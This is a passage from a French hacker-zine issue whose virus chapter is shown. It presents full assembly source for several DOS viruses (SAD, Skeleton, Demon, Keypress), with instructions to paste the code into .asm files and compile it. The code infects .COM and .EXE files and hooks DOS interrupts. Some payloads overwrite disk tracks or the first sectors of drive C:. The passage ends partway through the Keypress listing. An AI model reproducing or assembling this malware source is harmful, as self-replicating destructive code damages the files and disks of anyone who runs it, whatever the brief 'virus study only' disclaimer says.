Introduction: Qu'est-ce que nous avons de bon au sommaire de ce numéro... De la doc sur les virii, de la doc sur les serveurs, pis un article sur Hunt, un sujet pas mal intéressant sur caramail, et on va parler de certains organismes gouvernementaux (le gouvernement, encore et toujours, omniprésent...), mais pas mal de récapitulation de ce qu'il y a a savoir sur les sniffers. Je vous rappelle l'adresse officiel du site: http://www.multimania.com/hackworldclan tant que ça reste visitable (Multimania n'a pas l'aire d'apprécier ce site).
Sommaire:
Chapitre 1: Virus
J'ai dressé une liste de quelques virus dont il est important de connaitre les fonctionnalités. Je donnerais aussi des codes sources de virus en assembleur. Bah et si on commençait par les codes sources, pour être sur de bien pouvoir les compiler: transposez les en txt avec Bloc-Notes en copiant collant, et renommez le .txt en .asm puis compilez:
SAD virus:
;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected
at this location
; ds:[0feh] = filename of file to infect
;
.model tiny
.code
org 100h
; origin for .com files
start:
nop
; these two nop instructs will be used by 'Nasty'
nop
; to determine if a file is already infected
;******
;get date
;******
mov ah,2ah
; get the date
int 21h
; do it
cmp dh,09h
; is it September?
jnz do_not_activate
; if NO jmp do_not_activate
;****
;the nasty bit
;****
;*
;* 1. Print message
;*
lea dx,mess
; print message
mov ah,09
; 'Nasty in September'
int 21h
; do it
;****
;* 2. Destroy disk
;****
mov ah,19h
; get current drive (returned in al)
int 21h
; do it
mov dl,al
; dl = drive # to be formated
mov ah,05
; disk format function
mov cl,01
; first sector
mov ch,00
; first track
mov dh,00
; head zero
mov al,10h
; 10h (16) sectors - 2 tracks
int 13h
; do it (overwrite first 16 tracks on currently
; selected disc)
do_not_activate:
mov cx,80h
; save parameters; set counter to 80h bytes
mov si,0080h
; offset in the current data segment of the byte
; to be copied
mov di,0ff7fh
; offset to which byte is to be moved
rep movsb
; move bytes until cx=0 (decrement cx by 1 each time
; loop is performed is done automatically)
; (increment by 1 of si & di is done automatically)
lea ax,begp
; load exit from program offset address into ax
mov cx,ax
; " " "
" " "
" cx
sub ax,100h
; subtract start of .com file address (100h) from ax
; ax now contains the length of the virus
mov ds:[0fah],ax
; put length of the virus into the data segment at
; offset 0fah
add cx,fso
; add fso (5h) to cx (offset address of exit)
; so, cx=cx+5
mov ds:[0f8h],cx
; move cx (end of virus + 5) into data segment at
; offset 0f8h. ** Start of the write buffer.
ADD CX,AX
; add virus length (ax) to cx ?????
mov ds:[0f6h],cx
; mov cx into data segment at offset 0f6h.
; ** Start of the read buffer
mov cx,ax
; mov length of virus into cx
lea si,start
; load address of 'start' (start of virus) into
; souce index
mov di,ds:[0f8h]
; mov the value of the write buffer (@ 0f8h) into
; destination index
rb:
; cx = counter (length of virus)
; si = offset of byte to be read
; di = offset of where to write byte to
; (auto decrement of cx & increment of si & di)
rep movsb
; copy the virus into memory
stc ; set the carry flag
lea dx,file_type_to_infect
; set infector for .com files only
mov ah,4eh
; find first file with specified params
mov cx,20h
; files with archive bit set
int 21h
; do it
; if file found, CF is cleared, else
; CF is set
or ax,ax
; works the below instructions (jz & jmp)
jz file_found
; if file found jmp file_found
jmp done
; if no file found, jmp done (exit virus)
file_found:
mov ah,2fh
; get dta (returned in es:bx)
int 21h
; do it
mov ax,es:[bx+1ah]
; mov size of file to be infected into ax
mov ds:[0fch],ax
; mov filesize into ds:[0fch]
add bx,1eh
; bx now points to asciz filename
mov ds:[0feh],bx
; mov filename into ds:[0feh]
clc
; clear carry flag
mov ax,3d02h
; open file for r/w (ds:dx -> asciz filename)
mov dx,bx
; mov filename into dx
int 21h
; do it (ax contains file handle)
mov bx,ax ; mov file handle into bx
mov ax,5700h
; get time & date attribs from file to infect
int 21h
; do it (file handle in bx)
push cx
; save time to the stack
push dx
; save date to the stack
mov ah,3fh
; read from file to be infected
mov cx,ds:[0fch]
; number of bytes to be read (filesize of file to
; be infected
mov dx,ds:[0f6h]
; buffer (where to read bytes to)
int 21h
; do it
mov bx,dx
; mov buffer location to bx
mov ax,[bx]
; mov contents of bx (first two bytes - as bx is
; 16-bits) into ax.
; Now check to see if file is infected... if the
; file is infected, it's first two bytes will be
; 9090h (nop nop)
sub ax,9090h
; If file is already infected, zero flag will be set
; thus jump to fin(ish)
jz fin
mov ax,ds:[0fch]
; mov filesize of file to be infected into ax
mov bx,ds:[0f6h]
; mov where-to-read-to buffer into bx
mov [bx-2],ax ; correct old len
mov ah,3ch
; Create file with handle
mov cx,00h
; cx=attribs -- set no attributes
mov dx,ds:[0feh]
; point to name
clc
; clear carry flag
int 21h
; create file
; Note: If filename already exists, (which it does)
; truncate the filelength to zero - this is ok as
; we have already copied the file to be infected
; into memory.
mov bx,ax
; mov file handle into bx
mov ah,40h
; write file with handle (write to the file to be
; infected) - length currently zero
; cx=number of bytes to write
mov cx,ds:[0fch]
; length of file to be infected
add cx,ds:[0fah]
; length of virus
mov DX,ds:[0f8h]
; location of write buffer (this contains the virus
; + the file to be infected)
int 21h
; write file
; new file = virus + file to be infected
mov ax,5701h
; restore original time & date values
pop dx
; get old date from the stack
pop cx
; get old time from the stack
int 21h
; do it
; Note: Infected file will now carry the time & date
; it had before the infection.
mov ah,3eh
; close file (bx=file handle)
int 21h
; do it
; Note: date & time stamps automatically updated if
; file written to.
fin:
stc
; set carry flags
mov ah,4fh
; find next file (.com)
int 21h
; do it
or ax,ax
; decides zero flag outcome
jnz done
; if no more .com files, jmp done
JMP file_found
; else begin re-infection process for new file.
done:
mov cx,80h
; set counter (cx) = 80h
mov si,0ff7fh
; source offset address (copy from here)
mov di,0080h
; destination offset address (copy to here)
rep movsb
; copy bytes! (cx is auto decremented by 1
; si & di are auto incremented by 1)
; Note: this is a 'restore parameters' feature
; this does the reverse of what what done earlier
; in the program (do_not_activate:)
mov ax,0a4f3h
;
mov ds:[0fff9h],ax
;
mov al,0eah
;
mov ds:[0fffbh],al
; reset data segment locations ??? (to previous
mov ax,100h
; values before virus infection)
mov ds:[0fffch],ax
;
lea si,begp
; load exit from program offset address into si
lea di,start
; load offset address of start of virus into di
mov ax,cs
mov ds:[0fffeh],ax
; re-align cs = ds ???
mov kk,ax
mov cx,fso
db 0eah
; define byte
dw 0fff9h
; define word
kk dw 0000h
; define kk = word
mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display
file_type_to_infect db '*?.com',0 ; infect only .com files.
fso dw 0005h
; store 5 into 'fso'. dw means that fso is 2 bytes
; in size (a word)
; ----- alma mater
begp:
mov ax,4c00h
; normal dos termination (set al to 00)
int 21h
; do it
end start
Skeleton virus:
; target.asm : [Skeleton] by Deke
; Created wik the Phalcon/Skism Mass-Produced
Code Generator
; from the configuration file skeleton.cfg
.model tiny
; Handy directive
.code
; Virus code segment
org 100h
; COM file starting IP
id = 'DA'
; ID word for EXE infections
entry_point: db 0e9h,0,0
; jmp decrypt
startvirus:
decrypt:
; handles encryption and decryption
patch_startencrypt:
mov bp,offset startencrypt ; start of decryption
mov ax,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,76h,0
; xor word ptr cs:[bp], xxxx
decrypt_value dw 0
; initialised at zero for null effect
inc bp
; calculate new decryption location
inc bp
dec ax
; If we are not done, then
jnz decrypt_loop
; decrypt mo'
startencrypt:
call next
; calculate delta offset
next: pop bp
; bp = IP next
sub bp,offset next
; bp = delta offset
cmp sp,id
; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+offset save3]
mov di,100h
push di
; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs
; DS = CS
pop ds
push cs
; ES = CS
pop es
lea si,[bp+offset oldCSIP2]
lea di,[bp+offset oldCSIP]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],3 ; reset infection counter
mov ah,1Ah
; Set new DTA
lea dx,[bp+offset newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+offset exe_mask]
call infect_mask
lea dx,[bp+offset com_mask]
call infect_mask
done_infections:
mov ah,1ah
; restore DTA to default
mov dx,80h
; DTA in PSP
cmp sp,id-4
; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn
; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es
; AX = PSP segment
add ax,10h
; Adjust for PSP
add word ptr cs:[bp+oldCSIP+2],ax
add ax,word ptr cs:[bp+oldSSSP+2]
cli
; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+oldSSSP]
mov ss,ax
sti
db 0eah
; jmp ssss:oooo
oldCSIP db ?
; Original CS:IP (4 bytes)
save3 db 0cdh,20h,0
; First 3 bytes of COM file
oldSSSP dd ?
; Original SS:SP
oldCSIP2 dd ?
oldSSSP2 dd ?
creator db '[MPC]',0
; Mass Produced Code Generator
virus db '[Skeleton]',0
author db 'Deke',0
infect_mask:
mov ah,4eh
; find first file
mov cx,7
; any attribute
findfirstnext:
int 21h
; DS:DX points to mask
jc exit_infect_mask
; No mo files found
xor cx,cx
; Clear attributes
call attributes
; Set file attributes
mov ax,3d02h
; Open read/write
int 21h
xchg ax,bx
mov ah,3fh
; Read file to buffer
lea dx,[bp+offset buffer] ; @ DS:DX
mov cx,1Ah
; 1Ah bytes
int 21h
mov ax,4202h
; Go to end of file
xor cx,cx
cwd
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE
; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov cx,word ptr [bp+buffer+1]; get jmp location
add cx,heap-startvirus+3 ; Adjust for virus
size
cmp ax,cx
; Already infected?
je find_next
jmp infect_com
checkEXE:
cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
done_file:
mov ax,5701h
; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh
; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes
; attributes
cmp byte ptr [bp+numinfec], 0; Enough infections?
jnz find_next
pop ax
; remove call from stack
jmp done_infections
find_next:
mov ah,4fh
; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
mov cx, 1ah
push cx
push bx
; Save file handle
les ax,dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+oldCSIP2], ax
mov word ptr [bp+oldCSIP2+2], es
les ax,dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+oldSSSP2],es
mov word ptr [bp+oldSSSP2+2],ax
mov ax,word ptr [bp+buffer+8]; Get header size
mov cl, 4
; convert to bytes
shl ax, cl
xchg ax, bx
les ax,dword ptr [bp+newDTA+26] ; Get file size
mov dx, es
; to DX:AX
push ax
push dx
sub ax, bx
; Subtract header size from
sbb dx, 0
; file size
mov cx, 10h
; Convert to segment:offset
div cx
; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx
; get file length
pop ax
pop bx
; Restore file handle
add ax, heap-startvirus ; add virus
size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs
; restore ES
pop es
mov ax,word ptr [bp+buffer+14h] ; needed later
jmp short finishinfection
infect_com:
; ax = filesize
mov cx,3
push cx
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
finishinfection:
add ax,offset startencrypt-offset decrypt
push ax
mov ah,2ch
; Get current time
int 21h
; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption
value
lea di,[bp+offset codestore]
mov al,55h
; push bp
stosb
lea si,[bp+offset decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si
; Save for later use
push cx
rep movsb
lea si,[bp+offset write] ; Copy writing function
mov cx,endwrite-write ;
Bytes to move
rep movsb
pop cx
pop si
pop ax
push di
push si
push cx
rep movsb
; Copy decryption function
mov word ptr [bp+patch_startencrypt+1],ax
mov al,5dh
; pop bx
stosb
mov al,0c3h
; retn
stosb
call codestore
; decryption
pop cx
pop di
pop si
rep movsb
; Restore decryption function
mov ax,4200h
; Move file pointer
xor cx,cx
; to beginning of file
cwd
; xor dx,dx
int 21h
mov ah,40h
; Write to file
lea dx,[bp+offset buffer] ; Write from buffer
pop cx
; cx bytes
int 21h
dec byte ptr [bp+numinfec] ; One mo infection
jmp done_file
attributes:
mov ax,4301h
; Set attributes to cx
lea dx,[bp+offset newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bp
; Restore relativeness
mov ah,40h
; Write to file
lea dx,[bp+offset decrypt] ; Concatenate virus
mov cx,heap-decrypt
; # bytes to write
int 21h
push bp
endwrite:
exe_mask db '*.exe',0
com_mask db '*.com',0
heap:
; Variables not in code
; The following code is the buffer for the write
function
codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3
dup (?)
newDTA db 43 dup (?)
; Temporary DTA
numinfec db ?
; Infections this run
buffer db 1ah dup (?)
; read buffer
endheap:
; End of virus
end entry_point
Demon Virus:
;========== Demon virus ====================================
22.09.91 ========
;
; Assemble and link with: TASM DEMON.VIR
;
TLINK DEMON /X/T
; Infect all .COM programs in current directory
with: DEMON
;
;
!!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structures
Tuesday = 2 ; INT 21h, AH=2Ah
Search_Rec struc
; directory search record
db 21 dup (?)
; reserved for DOS
FileAttr
db ?
; file attribute
FileTime
dw ?
; packed file time
FileDate
dw ?
; packed file date
FileSize
dd ?
; long file size
FileName
db 13 dup (?)
; ASCIIZ FILENAME.EXT
Search_Rec ends
;-------------- Demon virus segment
Virus
segment
assume cs:Virus,ds:Virus,es:Virus,ss:Virus
org 0080h
DTA
Search_Rec <>
; disk transfer area
org 0100h
Demon:
; virus entry point
Virus_Size =
Virus_End - Demon ; virus size = 272
bytes
mov dx,offset All_COM
; find first .COM file,
mov ah,4eh
; including hidden/system
mov cx,110bh
int 21h
nop
jnc Infect
; abort if no files found
jmp short Check_Day
Infect:
call Replicate
; overwrite first 272 bytes
mov dx,offset DTA
mov ah,4fh
; find next .COM file,
int 21h
; go check day if none found
nop
; else repeat
jnc Next_File
jmp short Check_Day
Next_File: jmp
Infect
Check_Day: mov
ah,2ah
; get DOS date, check day
int 21h
cmp al,Tuesday
; Tuesday ?
je Thrash_Drive
; if yes, thrash drive C:
mov ah,4ch
; else exit to DOS
int 21h
Thrash_Drive: mov
Counter,0
; overwrite first 160 sectors
jmp Write_Sectors
; of drive C: with garbage
Write_Sectors: mov
al,Drive_C
; Error: doesn't work !
mov cx,160
; AL=C:, CX=160 sectors
mov dx,0
; DX=highest sector in drive !
mov bx,0
; DS:BX=start of PSP area
int 26h
; overwrite sectors
inc Counter
cmp Counter,10
; repeat 10 times
je Show_Msg
jne Write_Sectors
Show_Msg:
mov ah,09h
; show a fake error message
mov dx,offset Virus_Msg
; and exit to DOS
int 21h
mov ah,4ch
int 21h
Replicate: mov
dx,offset DTA.FileName ; save file attribute
mov ax,4300h
int 21h
mov COM_Attr,cx
nop
xor cx,cx
; unprotect the .COM file
mov ax,4301h
; in case it's read-only
int 21h
nop
mov ax,3d02h
; open .COM file for R/W,
int 21h
; abort on error
nop
jc Check_Day
mov bx,ax
; BX = file handle
mov ax,5700h
int 21h
; save file date and time
nop
mov COM_Time,cx
mov COM_Date,dx
mov dx,offset Demon
; overwrite first 272 bytes
mov ah,40h
; of .COM program file
mov cx,Virus_Size
; with the virus code
int 21h
nop
mov ax,5701h
; restore file date and time
mov dx,COM_Date
mov cx,COM_Time
int 21h
mov ah,3eh
; close the file
int 21h
nop
mov dx,offset DTA.FileName ; restore file
attribute
mov cx,COM_Attr
mov ax,4301h
int 21h
retn
All_COM
db '*.COM',0
; dir search specification
COM_Date
dw 0
; packed .COM program date
COM_Time
dw 0
; packed .COM program time
COM_Attr
dw 0
; .COM program file attribute
Counter
db 0
; used when thrashing drive C:
Drive_C
db 2
; INT 26h C: drive number
dw 0
Copyright
db 'Demonhyak Viri X.X (c) by Cracker Jack
1991 (IVRL)'
dw 0
Virus_Msg
db 10,13,'Error eating drive C:',10,13,'$'
Virus_End label byte ; virus code+data end
Virus
ends
end Demon
Keypress Virus:
;****************************************************************************;
;
;
;
-=][][][][][][][][][][][][][][][=-
;
;
-=] P E R F E C T C R I M E [=-
;
;
-=] +31.(o)79.426o79
[=-
;
;
-=]
[=-
;
;
-=] For All Your H/P/A/V Files [=-
;
;
-=] SysOp: Peter Venkman [=-
;
;
-=]
[=-
;
;
-=] +31.(o)79.426o79
[=-
;
;
-=] P E R F E C T C R I M E [=-
;
;
-=][][][][][][][][][][][][][][][=-
;
;
;
;
*** NOT FOR GENERAL DISTRIBUTION ***
;
;
;
; This File is for the Purpose of Virus Study
Only! It Should not be Passed ;
; Around Among the General Public. It Will be
Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With
Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With
a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent
Program Than it Already ;
; Is. Keep This Code in Responsible Hands!
;
;
;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by
XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of
DOS
; memory, without using DOS resident functions.
It will
; hook int 1Ch (timer) and 21h (DOS) and will
copy every
; 10 minutes during 2 seconds the keys you press
five
; times (so if you press '1' it will be '111111')
- if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed
- so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with
a special
; routine - in this case only COM/EXE files will
be
; infected.
;
; It adds, after making full paragraphs of the
file
; length, 1232 bytes to COM-files and 1216 to
EXE.
;
; This code is only made to show the possibilities
and
; dangers of a virus. It is only intended for
research
; purposes - spreading a virus is prohibited
by law.
;
; NOTE - The compiled code is not 100% compatible
with
; the Keypress virus. A86 compiles the 'ADD BX,AX'
and
; 'MOV DI,SI' different. This has totally no
effect
; on the program.
;********************************************************
; After compiling the new virus, enter the new
size in paragraphs in VirParSize
; and compile again.
VirParSize equ 4Ch ; Size of the original KeyPress virus
VirStart: jmp long VirBegin
db 0
ComStart: mov bx,cs
; When the virus has infected a .COM file,
add bx,[102h]
; this is the jump to the virus. Actually,
push bx
; this code is overwritten with the code
mov bx,offset VirBegin
; in the end of the virus.
push bx
retf
EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file
VirSize dw VirParSize shl 4 ; Size of virus in whole pars
VirPars dw VirParSize + 1 ; Size of virus in pars+1
MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)
Com_or_exe db 00h
; 0 = Com-File, 1 = Exe-File
R_Ax
dw (?)
R_Bx
dw (?)
R_Cx
dw (?)
R_Dx
dw (?)
R_Di
dw (?)
R_Si
dw (?)
R_Bp
dw (?)
R_Es
dw (?)
R_Ds
dw (?)
R_SS
dw (?)
R_SP
dw (?)
Exe_CS
dw (?)
Exe_IP
dw (?)
VirBegin: call Save_Regs
; Start of virus
call Fix_cs_ss ; Fix CS and SS of orig. prog
(for .EXE files)
call Get_cs_ip
; Get CS and IP of original prog
call Check_res
; Check virus already resident
jb Exit_inst
; Yes, quit
call Inst_mem
; Install in memory
jb Exit_inst
; Error, quit
call Inst_ints
; Hook interrupts
Exit_Inst: jmp short Rst_regs_prg
nop
Jmp_Prg: db 0EAh
; Jump to original program
PrgOfs
dw (?)
PrgSeg
dw (?)
Check_res: push ds
xor bx,bx
mov ds,bx
mov bx,600h
; Unused word in memory
cmp word ptr [bx],1
; Already installed?
jz Installed
; Yes
mov word ptr [bx],1
; No
stc
Installed: cmc
pop ds
ret
;*** For .EXE: Fix orig-prog CS and SS ***
Fix_cs_ss: test byte ptr [Com_or_exe],1
jz no_exe
mov ax,es
add ax,10h
add Exe_cs,ax
add R_ss,ax
No_Exe: ret
;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
Get_cs_ip: mov ax,[Exe_cs]
mov bx,[Exe_ip]
test byte ptr [Com_or_exe],1
jnz No_rest
; .EXE file: no restore of first bytes
mov ax,es
mov bx,100h
mov cx,10h
mov si,offset First_bytes
mov di,100h
cld
repz
; Restore first 16 bytes (.COM file)
movsb
No_rest: mov [Prgseg],ax
mov [Prgofs],bx
ret
;*** Proc: Save the registers to restore them after the virus has ended ***
Save_Regs: mov cs:R_ds,ds
push cs
pop ds
mov R_ax,ax
mov R_bx,bx
mov R_cx,cx
mov R_dx,dx
mov R_di,di
mov R_si,si
mov R_bp,bp
mov R_es,es
ret
;*** Restore regs for original program ***
Rst_regs_prg: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
test byte ptr [Com_or_exe],1
jz No_StackRest
; No stack restore for .COM files
cli
mov ss,[R_ss]
; Restore .EXE stack
mov sp,[R_sp]
sti
No_StackRest: mov ds,R_ds
jmp short jmp_prg
;*** Restore regs for interrupts ***
Rst_regs_int: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
mov ds,R_ds
ret
;*** Proc: Search for last MCB ***
Last_MCB: push ds
mov bx,es
dec bx
Next_MCB: mov ds,bx
cmp byte ptr [0],5Ah
; Last MCB?
jz Is_last
; Yes
inc bx
add bx,[3]
; Go to next
cmp bx,0A000h
; In ROM?
jb Next_MCB
; No, try next one
Is_Last: pop ds
ret
;*** Proc: Install virus in end of memory ***
Inst_Mem: call Last_mcb
; Search last MCB
cmp bx,0A000h
; In ROM?
jb Not_ROM
; No, continue
No_Inst: push cs
; Yes, quit
pop ds
stc
; Error, virus not installed
ret
Not_ROM: mov ds,bx
mov ax,[3]
; AX = Size last MCB
sub ax,cs:[VirPars]
; - (Virussize in pars+1)
jbe no_inst
; Not enough memory, quit
cmp ax,800h
jb no_inst
; Less than 2048 pars free, quit
mov [3],ax
; Give program less space to install virus
add bx,ax
inc bx
; BX = seg where virus comes
mov es:[2],bx
; Enter in PSP, program not allowed there
sub bx,10h
; - 10h pars (virus starts at 100h)
push bx
push cs
pop ds
pop es
mov si,100h
mov di,si
mov cx,[VirSize]
; CX = virussize
cld
repz
; Copy virus to virus-segment
movsb
clc
; No error, virus installed
ret
;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
Inst_Ints: push es
pop ds
mov word ptr [Ticks],0
mov ax,351Ch
; Get Addr Timer Tick
int 21h
mov I1c_ofs,bx
mov I1c_seg,es
mov ax,3521h
; Get Addr DOS-Int
int 21h
mov I21_ofs,bx
mov I21_seg,es
mov ax,251Ch
mov dx,offset New_I1c
int 21h
; Install New Timer-Tick Int
mov dx,offset I21_dos12
push dx
mov ah,30h
; Get DOS-Version
int 21h
pop dx
cmp al,3
; Below 3.0?
jb DosBel3
mov dx,offset new_I21
; No, new int
DosBel3: mov ax,2521h
; Install new DOS-Int
int 21h
push cs
pop ds
ret
;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during
2 sec. 180 extra keys to the
; keyboard-interrupt.
Ticks dw (?)
New_I1c: inc word
ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
cmp word ptr cs:[Ticks],2A30h
; 10 minutes passed?
jb org_I1c
; No, go to orig. I1c
cmp word ptr cs:[Ticks],2A54h
; 2 sec. passed?
jbe screw_keys
; Not yet, give ESCs
mov word ptr cs:[Ticks],0
; Time-counter to 0
jmp short Org_I1c
; Go to orig. I1c
Screw_Keys: push cx
mov cx,5
; 5 times / tick
Put_Key: int 9
; Give extra key
loop Put_key
pop cx
Org_I1c: db 0EAh
; Jump far to orig. I1c
I1c_Ofs dw
(?)
I1c_Seg dw
(?)
New_I24: mov al,0
New_I23: iret
I23_Ofs dw
(?)
I23_Seg dw
(?)
I24_Ofs dw
(?)
I24_Seg dw
(?)
ProgSize dw (?) ; Program size in paragraphs
New_I21: cmp ax,4B00h
; New DOS Int for DOS 3 +
jz Is_Start
jmp far dword ptr cs:[I21_Ofs]
; Jmp orig. I 21
Is_Start: call Save_Regs
call InstCritInt
; Install new ^c and crit. err. int
mov ax,3D02h
; Open file for read and write
mov ds,R_Ds
int 21h
push cs
pop ds
jc Close_File
mov bx,ax
call Read_header
jc Close_File
call Write_virus
jc Close_File
call Write_header
Close_File: mov ah,3Eh
; Close file
int 21h
call RestCritInt
; Restore ^c and crit-err ints
call Rst_regs_int
jmp far dword ptr cs:[I21_Ofs]
I21_Dos12: cmp ah,3Dh
; New DOS-Int for DOS 1.x and 2.x
jz Is_Open
JmpDos: db
0EAh
; Jump Far
I21_Ofs dw
(?)
I21_Seg dw
(?)
Is_Open: push ax
; Network-flags?
and al,0FCh
pop ax
jnz JmpDos
; Yes -> DOS
call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov DS,R_Ds
or al,2
; Write access
pushf
cli
call far cs:[I21_Ofs]
; Open file
push cs
pop ds
jc Open_Error
; Error opening -> DOS
pushf
mov [R_Ax],ax
; Save handle
mov bx,ax
call Chk_Inf
; Check infection is possible
jc No_Infect
; No -> quit
call Read_header
jc No_Infect
call Write_virus
jc No_Infect
call Write_header
No_Infect: call Go_file_beg
; Go to begin of file
call RestCritInt
; Restore ^c and crit-err ints
call Rst_regs_int
popf
retf 2
Open_Error: call RestCritInt
; Restore ^c and crit-err ints
call Rst_regs_int
jmp short JmpDos
;*** Proc: Buffer for header of program to infect ***
Head_buf dw 0Ch
dup (?)
;*** Proc: Install new ^C and crit. err. interrupt ***
InstCritInt: push ax
push bx
push dx
push ds
push es
push cs
pop ds
mov ax,3523h
; Get Ctrl-Break Int Addr
int 21h
mov I23_Ofs,bx
mov I23_Seg,es
mov ax,3524h
; Get Crit. Err Int Addr
int 21h
mov I24_Ofs,bx
mov I24_Seg,es
mov ax,2523h
mov dx,offset New_I23
; Install new Ctrl-Break Int
int 21h
mov ax,2524h
; Install new Crit. Err Int
mov dx,offset New_I24
int 21h
pop es
pop ds
pop dx
pop bx
pop ax
ret
;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
RestCritInt: mov ax,2524h
; Rest. orig. crit. err int
lds dx,dword ptr cs:[I24_Ofs]
int 21h
mov ax,2523h
; Rest. orig. ctrl-break int
lds dx,dword ptr cs:[I23_Ofs]
int 21h
push cs
pop ds
ret
;*** Read header of file ***
Read_header: mov ah,3Fh
mov dx,offset Head_buf
mov cx,18h
int 21h
jc HeadRead_Err
; Error reading, don't infect
call Check_infect ; Check file already infected; if not, save data
jc HeadRead_Err
; Error, quit
call Calc_data
; Calculate data for infected file
jc HeadRead_Err
; Error, quit
HeadRead_Err: ret
;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
Write_virus: mov ah,40h
; Write virus behind program
mov cx,[VirSize]
mov dx,100h
int 21h
jc Err_Writ
; Write error, quit
cmp ax,cx
jnz Err_Writ
; ' ' ' ' ' '
test byte ptr [Com_or_exe],1
jz First_Write
ret
First_Write: mov ah,40h
; Write orig. 1st 16 bytes behind virus
mov cx,10h
mov dx,offset Head_buf
int 21h
jc Err_Writ
; Write error, quit
cmp ax,cx
jnz Err_Writ
; ' ' ' ' ' '
clc
; End procedure, no error
ret
Err_Writ: stc
; End procedure, error
ret
;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
Write_header: call Go_file_beg
; Go to begin of file
test byte ptr [Com_or_exe],1
; .EXE-file?
jnz Exe_header
mov ah,40h
; .COM file - Write 'EB 02'
mov cx,2
mov dx,offset EB02
int 21h
mov ah,40h
; Write program-size in pars
mov cx,2
mov dx,offset ProgSize
int 21h
mov ah,40h
; Write rest of begin of virus
mov cx,0Ch
mov dx,104h
int 21h
ret
Exe_header: mov ah,40h
; Write in File
mov cx,18h
mov dx,offset Head_buf
int 21h
ret
;*** Proc: Change file pointer ***
Cng_file_ptr: mov ax,4200h
int 21h
ret
;*** Proc: Go to begin of file ***
Go_file_beg: xor cx,cx
; Filepointer = 0
xor dx,dx
call Cng_file_ptr
; Change File Pointer
ret
;*** Proc: Check file is already infected ***
Check_infect: mov si,104h
mov di,offset Head_buf+4
push cs
pop es
mov byte ptr [Com_or_exe],0
; Flag for .COM
cmp word ptr [di-04],5A4Dh
; Is .EXE?
jz Is_Exe
mov cx,0Ch
; No, .COM file
cld
repz
; Already infected?
cmpsb
jnz Do_Infect
; Not yet
Dont_Infect: stc
ret
Do_Infect: clc
ret
Is_Exe: mov
byte ptr [Com_or_exe],1
; Flag for .EXE
mov cx,[offset Head_buf+14h]
; cx = Prog-IP
cmp cx,offset VirBegin
; Same as Vir-IP?
jz Dont_Infect
; Yes, quit
cmp word ptr [offset Head_buf+0Ch],0
; Max extra pars=0?
jz Dont_Infect
; Yes, quit
mov [Exe_ip],cx
; Save prog-IP
mov cx,[Head_buf+16h]
mov [Exe_cs],cx
; Save prog-cs
mov cx,[Head_buf+0Eh]
mov [R_ss],cx
; Save prog-SS
mov cx,[Head_buf+10h]
mov [R_sp],cx
; Save prog-SP
jmp short Do_Infect
;*** Proc: Calculate data for infection ***
Calc_data: mov ax,4202h
; Go to EOF
xor cx,cx
xor dx,dx
int 21h
test al,0Fh ; Size mod
16 = 0 (File is exact x paragraps)?
jz No_par_add
; Yes, no extra par added
add ax,10h
; Add paragraph
adc dx,0
